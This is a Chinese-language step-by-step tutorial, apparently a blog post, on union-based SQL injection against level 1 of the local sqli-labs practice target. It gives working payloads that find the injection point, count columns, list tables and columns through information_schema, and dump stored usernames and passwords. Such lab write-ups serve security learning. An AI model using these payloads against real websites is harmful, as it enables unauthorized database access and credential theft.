SQL注入過程-以sqli-lab第一關(guān)為例

1. 搭建靶場,進入第一關(guān),靶場搭建可參照[sqli-labs 靶場搭建]

2. 正常 URL:

http://127.0.0.1/sqli/Less-1/?id=1

3. 檢查是否有注入機會(加引號):

http://127.0.0.1/sqli/Less-1/?id=1'

(1) 查看頁面是否會報 SQL 語法錯誤,若顯示語法錯誤,則表示有注入的機會

存在注入點.png

--- 若存在注入機會,則可以通過下列方法撈出底層數(shù)據(jù)庫中的表數(shù)據(jù)內(nèi)容 ---

4. 查詢當前使用的表有多少列:

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

(1) --+ 的作用是注釋屏蔽后續(xù)的 SQL 語句(用于屏蔽開發(fā)者本意想要的 SQL 內(nèi)容)

(2) order by 的用法是根據(jù)第 N 列排序,若報錯提示第 N 列不存在,則說明表中沒有第 N 列

(3) 通過是否存在第 N 列,可以找到該表總共有多少列

order by 4.png

order by 3.png

5. 查看哪些列可以回顯:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

(1) union 的用法是取前表內(nèi)容和后表內(nèi)容的集合

(2) 此處通過改 id=-1 來使前表查詢內(nèi)容為空,進而結(jié)果只取后表內(nèi)容

(3) 而后表是我們自己構(gòu)造的 SQL,故通過構(gòu)造一個和原數(shù)據(jù)表等列數(shù)的數(shù)據(jù)表,再根據(jù)頁面回顯的內(nèi)容可以判斷出前端頁面取的是哪個列項的數(shù)據(jù)

列項回顯.png

6. 查看當前使用的數(shù)據(jù)庫:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database() --+

(1) database() 的用法是返回當前使用的數(shù)據(jù)庫名稱

(2) 探查到前端取數(shù)邏輯后,就可以在其取數(shù)位置上做文章

(3) 這里我們讓第 3 列的數(shù)據(jù)取 database()

(4) 那么頁面回顯的內(nèi)容及當前使用的數(shù)據(jù)庫名稱

查庫.png

7. 查看數(shù)據(jù)庫下所有表名:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

(1) 0x7365637572697479 為 security 的十六進制轉(zhuǎn)換(轉(zhuǎn)換原因:若是'security'也是可以查詢的,但有時候單引號會被轉(zhuǎn)義,故直接使用十六進制可以避免該情況)

(2) information_schema.tables 中存放著數(shù)據(jù)庫中的所有表名

(3) group_concat() 的用法是拼接所有列項數(shù)據(jù)

查表.png

8. 查看表下所有字段名:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 --+

(1) 0x7365637572697479 為 security 的十六進制轉(zhuǎn)換

(2) 0x7573657273 為 users 的十六進制轉(zhuǎn)換

(3) information_schema.columns 中存放著數(shù)據(jù)庫中所有列項名稱

查字段.png

9. 查看表下所有用戶和密碼:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat(username,'~',password)) from security.users --+
查數(shù)據(jù).png

10. 此外,也可以查看所有的數(shù)據(jù)庫名稱:

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 
所有數(shù)據(jù)庫名稱.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容